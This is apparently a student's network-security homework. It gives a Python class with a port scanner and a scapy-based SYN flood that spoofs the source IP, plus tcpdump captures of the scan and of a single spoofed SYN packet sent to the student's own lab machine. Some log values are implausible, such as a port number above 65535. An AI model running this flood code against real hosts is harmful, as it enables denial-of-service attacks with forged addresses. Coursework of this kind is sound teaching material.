

Terrence Randall  
March 24, 2020  
ECN login: randall7

## Homework 8

Code:

```
class TcpAttack:
    # spoofIP: String containing the IP address to spoof
    # targetIP: String containing the IP address of the target computer to attack
    def __init__(self, spoofIP, targetIP):
        self.spoofIP = spoofIP
        self.targetIP = targetIP

    # rangeStart: Integer designating the first port in the range of ports being scanned.
    # rangeEnd: Integer designating the last port in the range of ports being scanned
    # No return value, but writes open ports to openports.txt
    def scanTarget(self, rangeStart, rangeEnd):
        open_ports = []
        display = 1
        for testport in range(rangeStart, rangeEnd+1):
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(0.1)
            try:
                sock.connect((self.targetIP, testport))
                open_ports.append(testport)
                if display:
                    print("port open: ", testport)
            except:
                if display:
                    print("port closed: ", testport)
        FILEOUT = open('openports.txt', 'w')
        for x in open_ports:
            FILEOUT.write(str(x) + '\n')
        FILEOUT.close()

    # port: Integer designating the port that the attack will use
    # numSyn: Integer of SYN packets to send to target IP address at the given port
    # If the port is open, perform DoS attack and return 1. Otherwise return 0.
    def attackTarget(self, port, numSyn):
        FILEIN = open('openports.txt', 'r')
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(0.1)
        try:
            sock.connect((self.targetIP, port))
            for i in range(numSyn):
                IP_header = scapy.all.IP(src=self.spoofIP, dst=self.targetIP)
                TCP_header = scapy.all.TCP(flags="S", sport=RandShort(), dport=int(port))
                packet = IP_header / TCP_header
                try:
                    send(packet)
                    #print("Successfully sent packet")
                except Exception as error:
                    #print(f"Error on iteration: {i}")
                    print(error)
            return 1
        except Exception as err:
            print("failed to attack, given error:")
            print(err)
            return 0
```

Terrence Randall  
March 24, 2020  
ECN login: randall7  
Test Code:

```
if __name__ == '__main__':
    spoofIP = '65.50.234.105' # this is not my actual ip address (a "fake" ip address)
    targetIP = '128.46.4.61' #my shay computer's public ip address
    rangeStart = int(1)
    rangeEnd = int(1024)
    port = int(22)
    Tcp = TcpAttack(spoofIP, targetIP)
    #Tcp.scanTarget(rangeStart, rangeEnd)
    if Tcp.attackTarget(port, 1):
        print('port was open to attack')

'''
TCP dump command to run to see the scanning and "attacking" occurring:
sudo tcpdump | grep shay.ecn.purdue.edu
'''
```

TCP Dump for port scanning (only looking for a single port):  
The message that results from my script is highlighted

```
21:28:13.141328 IP shay.ecn.purdue.edu.ssh > 10.0.0.165.64783: Flags [F.], seq 1, ack 2, win 114, options [nop,nop,TS val 489009420 ecr 1282013517], length 0
21:28:13.141854 IP 10.0.0.165.64783 > shay.ecn.purdue.edu.ssh: Flags [F.], ack 2, win 2058, options [nop,nop,TS val 1282018497 ecr 489009420], length 0
21:28:16.719863 IP 10.0.0.165.64786 > shay.ecn.purdue.edu.tcpmux: Flags [S], seq 1944328974, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282022062 ecr 0,sackOK,eol], length 0
21:28:16.752941 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port tcpmux unreachable, length 72
21:28:16.753302 IP 10.0.0.165.64787 > shay.ecn.purdue.edu.compressnet: Flags [S], seq 3196794794, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282022094 ecr 0,sackOK,eol], length 0
21:28:16.790478 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port compressnet unreachable, length 72
21:28:16.794300 IP 10.0.0.165.64788 > shay.ecn.purdue.edu.ssh: Flags [S], seq 1140148671, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282022134 ecr 0,sackOK,eol], length 0
21:28:16.829007 IP shay.ecn.purdue.edu.ssh > 10.0.0.165.64788: Flags [S.], seq 2914210222, ack 1140148672, win 14480, options [mss 1460,sackOK,TS val 489013109 ecr 1282022134,nop,wscale 7], length 0
21:28:16.829044 IP 10.0.0.165.64788 > shay.ecn.purdue.edu.ssh: Flags [F.], ack 1, win 2058, options [nop,nop,TS val 1282022169 ecr 489013109], length 0
21:28:16.897437 IP 65.50.234.105.43291 > shay.ecn.purdue.edu.ssh: Flags [S], seq 0, win 8192, length 0
21:28:16.897975 IP 10.0.0.165.64788 > shay.ecn.purdue.edu.ssh: Flags [F.], seq 1, ack 1, win 2058, options [nop,nop,TS val 1282022237 ecr 489013109], length 0
21:28:16.932863 IP shay.ecn.purdue.edu.ssh > 10.0.0.165.64788: Flags [F.], ack 2, win 114, options [nop,nop,TS val 489013214 ecr 1282022237], length 0
21:28:16.869078 IP shay.ecn.purdue.edu.ssh > 10.0.0.165.64788: Flags [F.], seq 1, ack 2, win 114, options [nop,nop,TS val 489018150 ecr 1282022237], length 0
21:28:21.869117 IP 10.0.0.165.64788 > shay.ecn.purdue.edu.ssh: Flags [F.], ack 2, win 2058, options [nop,nop,TS val 1282027195 ecr 489018150], length 0
21:28:38.266747 IP 10.0.0.165.64790 > shay.ecn.purdue.edu.tcpmux: Flags [S], seq 4227602909, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282043521 ecr 0,sackOK,eol], length 0
21:28:38.300220 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port tcpmux unreachable, length 72
21:28:38.300657 IP 10.0.0.165.64791 > shay.ecn.purdue.edu.compressnet: Flags [S], seq 91668078, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282043554 ecr 0,sackOK,eol], length 0
21:28:38.335056 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port compressnet unreachable, length 72

21:28:46.892040 IP 10.0.0.165.64792 > shay.ecn.purdue.edu.tcpmux: Flags [S], seq 3205908684, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282052104 ecr 0,sackOK,eol], length 0
21:28:46.928025 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port tcpmux unreachable, length 72
21:28:52.168323 IP 10.0.0.165.64793 > shay.ecn.purdue.edu.tcpmux: Flags [S], seq 3541973811, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282057361 ecr 0,sackOK,eol], length 0
21:28:52.209989 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port tcpmux unreachable, length 72

21:29:03.465706 IP 10.0.0.165.64794 > shay.ecn.purdue.edu.tcpmux: Flags [S], seq 15080503190, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282068617 ecr 0,sackOK,eol], length 0
21:29:03.498073 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port tcpmux unreachable, length 72
```

Terrence Randall  
March 24, 2020  
ECN login: randall7

TCP Dump after sending a single “attack” packet:

The message that results from my script is highlighted twice. The packets that are sent (and received) prior to the first highlighted instance are the same as those in the port scanning image above. This is because I use the same method in this portion of the code to check if the port is open.

The second highlighted instance is alone, because I commented out the checking code for this purpose.

```
Terminal Shell Edit View Window Help
terrencerandall — grep shay.ecn.purdue.edu — 181x51
-- ssh randall7@shay.ecn.purdue.edu
21:28:38.380220 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port tcpmux unreachable, length 72
21:28:38.380657 IP 10.0.0.165.64791 > shay.ecn.purdue.edu.compressnet: Flags [S], seq 91668078, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282043554 ecr 0,sackOK,eol], length 0
21:28:38.335056 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port compressnet unreachable, length 72

21:28:46.892040 IP 10.0.0.165.64792 > shay.ecn.purdue.edu.tcpmux: Flags [S], seq 3205908684, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282052104 ecr 0,sackOK,eol], length 0
21:28:46.928025 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port tcpmux unreachable, length 72
21:28:52.168323 IP 10.0.0.165.64793 > shay.ecn.purdue.edu.tcpmux: Flags [S], seq 3541973811, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282057361 ecr 0,sackOK,eol], length 0
21:28:52.209989 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port tcpmux unreachable, length 72

21:29:03.465706 IP 10.0.0.165.64794 > shay.ecn.purdue.edu.tcpmux: Flags [S], seq 1580503190, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282060617 ecr 0,sackOK,eol], length 0
21:29:03.498873 IP shay.ecn.purdue.edu > 10.0.0.165: ICMP shay.ecn.purdue.edu tcp port tcpmux unreachable, length 72

21:29:45.039300 IP 10.0.0.165.64798 > shay.ecn.purdue.edu.ssh: Flags [S], seq 2403448718, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 1282110039 ecr 0,sackOK,eol], length 0
21:29:45.074248 IP shay.ecn.purdue.edu.ssh > 10.0.0.165.64798: Flags [S.], seq 3418557980, ack 2403448719, win 14480, options [mss 1460,sackOK,TS val 489101355 ecr 1282110039,nop,wscale 7], length 0
21:29:45.074287 IP 10.0.0.165.64798 > shay.ecn.purdue.edu.ssh: Flags [.], ack 1, win 2858, options [nop,nop,TS val 1282110074 ecr 489101355], length 0
21:29:45.110015 IP 65.50.234.105.88526 > shay.ecn.purdue.edu.ssh: Flags [S], seq 0, win 8192, length 0
21:29:45.110506 IP 10.0.0.165.64798 > shay.ecn.purdue.edu.ssh: Flags [F.], seq 1, ack 1, win 2058, options [nop,nop,TS val 1282110110 ecr 489101355], length 0
21:29:45.146328 IP shay.ecn.purdue.edu.ssh > 10.0.0.165.64798: Flags [.], ack 2, win 114, options [nop,nop,TS val 489101426 ecr 1282110110], length 0
21:29:50.114375 IP shay.ecn.purdue.edu.ssh > 10.0.0.165.64798: Flags [F.], seq 1, ack 2, win 114, options [nop,nop,TS val 489106395 ecr 1282110110], length 0
21:29:50.114419 IP 10.0.0.165.64798 > shay.ecn.purdue.edu.ssh: Flags [.], ack 2, win 2058, options [nop,nop,TS val 1282115095 ecr 489106395], length 0

21:30:09.846367 IP 65.50.234.105.42697 > shay.ecn.purdue.edu.ssh: Flags [S], seq 0, win 8192, length 0
```